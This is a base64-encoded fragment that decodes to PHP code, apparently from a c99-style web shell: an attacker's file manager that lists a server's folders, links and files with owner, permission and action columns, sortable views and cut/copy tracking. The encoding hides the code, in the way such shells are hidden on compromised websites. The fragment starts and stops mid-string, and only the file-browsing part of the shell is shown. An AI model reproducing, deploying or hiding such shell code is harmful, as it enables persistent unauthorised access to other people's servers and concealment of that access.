gkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyRvYmplY3RzWyJoZWFkIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JG9iamVjdHNbImxpbmtzIl1bXSA9ICRyb3c7fQ0KICAgICAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskb2JqZWN0c1siZm9sZGVycyJdW10gPSAkcm93O30NCiAgICAgICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyRvYmplY3RzWyJmaWxlcyJdW10gPSAkcm93O30NCiAgICAgICAgJGkrKzsNCiAgICAgIH0NCiAgICAgICRyb3cgPSBhcnJheSgpOw0KICAgICAgJHJvd1tdID0gIjxiPk5hbWU8L2I+IjsNCiAgICAgICRyb3dbXSA9ICI8Yj5TaXplPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+RGF0ZSBNb2RpZmllZDwvYj4iOw0KICAgICAgaWYgKCEkd2luKSB7JHJvd1tdID0gIjxiPk93bmVyL0dyb3VwPC9iPiI7fQ0KICAgICAgJHJvd1tdID0gIjxiPlBlcm1zPC9iPiI7DQogICAgICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7DQogICAgICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRzb3J0KTsNCiAgICAgICRzb3J0ID0gJHBhcnNlc29ydFswXS4kcGFyc2Vzb3J0WzFdOw0KICAgICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKSB7JHBhcnNlc29ydFsxXSA9ICJkIjt9DQogICAgICAkeSA9ICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZzb3J0PSIuJGsuKCRwYXJzZXNvcnRbMV0gPT0gImEiPyJkIjoiYSIpLiJcIj4iOw0KICAgICAgJHkgLj0gIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsNCiAgICAgICRyb3dbJGtdIC49ICR5Ow0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJHJvdyktMTskaSsrKSB7DQogICAgICAgIGlmICgkaSAhPSAkaykgeyRyb3dbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImc29ydD0iLiRpLiRwYXJzZXNvcnRbMV0uIlwiPiIuJHJvd1skaV0uIjwvYT4iO30NCiAgICAgIH0NCiAgICAgICR2ID0gJHBhcnNlc29ydFswXTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmb2xkZXJzIl0sICJ0YWJzb3J0Iik7DQogICAgICB1c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsNCiAgICAgIHVzb3J0KCRvYmplY3RzWyJmaWxlcyJdLCAidGFic29ydCIpOw0KICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gPT0gImQiKSB7DQogICAgICAgICRvYmplY3RzWyJmb2xkZXJzIl0gPSBhcnJheV9yZXZlcnNlKCRvYmplY3RzWyJmb2xkZXJzIl0pOw0KICAgICAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgfQ0KICAgICAgJG9iamVjdHMgPSBhcnJheV9tZXJnZSgkb2JqZWN0c1siaGVhZCJdLCRvYmplY3RzWyJmb2xkZXJzIl0sJG9iamVjdHNbImxpbmtzIl0sJG9iamVjdHNbImZpbGVzIl0pOw0KICAgICAgJHRhYiA9IGFycmF5KCk7DQogICAgICAkdGFiWyJjb2xzIl0gPSBhcnJheSgkcm93KTsNCiAgICAgICR0YWJbImhlYWQiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOw0KICAgICAgJHRhYlsibGlua3MiXSA9IGFycmF5KCk7DQogICAgICAkdGFiWyJmaWxlcyJdID0gYXJyYXkoKTsNCiAgICAgICRpID0gMDsNCiAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRhKSB7DQogICAgICAgICR2ID0gJGFbMF07DQogICAgICAgICRvID0gYmFzZW5hbWUoJHYpOw0KICAgICAgICAkZGlyID0gZGlybmFtZSgkdik7DQogICAgICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30NCiAgICAgICAgZWxzZSB7JGRpc3BwYXRoID0gJG87fQ0KICAgICAgICAkZGlzcHBhdGggPSBzdHIybWluaSgkZGlzcHBhdGgsNjApOw0KICAgICAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQ0KICAgICAgICBlbHNlaWYgKGluX2FycmF5KCR2LCRzZXNzX2RhdGFbImNvcHkiXSkpIHskZGlzcHBhdGggPSAiPHU+Ii4kZGlzcHBhdGguIjwvdT4iO30NCiAgICAgICAgZm9yZWFjaCAoJHJlZ3hwX2hpZ2hsaWdodCBhcyAkcikgew0KICAgICAgICAgIGlmIChlcmVnKCRyWzBdLCRvKSkgew0KICAgICAgICAgICAgaWYgKCghaXNfbnVtZXJpYygkclsxXSkpIG9yICgkclsxXSA+IDMpKSB7JHJbMV0gPSAwOyBvYl9jbGVhbigpOyBlY2hvICJXYXJuaW5nISBDb25maWd1cmF0aW9uIGVycm9yIGluIFwkcmVneHBfaGlnaGxpZ2h0WyIuJGsuIl1bMF0gLSB1bmtub3duIGNvbW1hbmQuIjsgY2Fwcml2OGV4aXQoKTt9DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgJHJbMV0gPSByb3VuZCgkclsxXSk7DQogICAgICAgICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7DQogICAgICAgICAgICAgIGlmICgoJHJbMV0gPT0gMCkgb3IgKCgkclsxXSA9PSAxKSBhbmQgISRpc2Rpcikgb3IgKCgkclsxXSA9PSAyKSBhbmQgISRpc2RpcikpIHsNCiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHJbMl0pKSB7JHJbMl0gPSAiPGI+IjsgJHJbM10gPSAiPC9iPiI7fQ0KICAgICAgICAgICAgICAgICRkaXNwcGF0aCA9ICRyWzJdLiRkaXNwcGF0aC4kclszXTsNCiAgICAgICAgICAgICAgICBpZiAoJHJbNF0pIHticmVhazt9DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJHVvID0gdXJsZW5jb2RlKCRvKTsNCiAgICAgICAgJHVkID0gdXJsZW5jb2RlKCRkaXIpOw0KICAgICAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOw0KICAgICAgICAkcm93ID0gYXJyYXkoKTsNCiAgICAgICAgaWYgKCRvID09ICIuIikgew0KICAgICAgICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNtYWxsX2RpclwiIGJvcmRlcj1cIjBcIj4mbmJzcDsiLiRvLiI8L2E+IjsNCiAgICAgICAgICAkcm93W10gPSAiQ1VSRElSIjsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYgKCRvID09ICIuLiIpIHsNCiAgICAgICAgICAkcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZShyZWFscGF0aCgkZC4kbykpLiImc29ydD0iLiRzb3J0LiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1leHRfbG5rXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJG8uIjwvYT4iOw0KICAgICAgICAgICRyb3dbXSA9ICJVUERJUiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZWlmIChpc19kaXIoJHYpKSB7DQogICAgICAgICAgaWYgKGlzX2xpbmsoJHYpKSB7DQogICAgICAgICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsNCiAgICAgICAgICAgICR0eXBlID0gIkxJTksiOw0KICAgICAgICAgICAgJHJvd1tdID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii4kdXYuIiZzb3J0PSIuJHNvcnQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9sbmtcIiBib3JkZXI9XCIwXCI+Jm5ic3A7WyIuJGRpc3BwYXRoLiJdPC9hPiI7DQogICAgICAgICAgfQ0KICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHR5cGUgPSAiRElSIjsNCiAgICAgICAgICAgICRyb3dbXSA9ICAiPGEgaHJlZj1cIiIuJHN1cmwuIng9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c21hbGxfZGlyXCIgYm9yZGVyPVwiMFwiPiZuYnNwO1siLiRkaXNwcGF0aC4iXTwvYT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICAkcm93W10gPSAkdHlwZTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlaWYoaXNfZmlsZSgkdikpIHsNCiAgICAgICAgICAkZXh0ID0gZXhwbG9kZSgiLiIsJG8pOw0KICAgICAgICAgICRjID0gY291bnQoJGV4dCktMTsNCiAgICAgICAgICAkZXh0ID0gJGV4dFskY107DQogICAgICAgICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7DQogICAgICAgICAgJHJvd1tdID0gICI8YSBocmVmPVwiIi4kc3VybC4ieD1mJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1n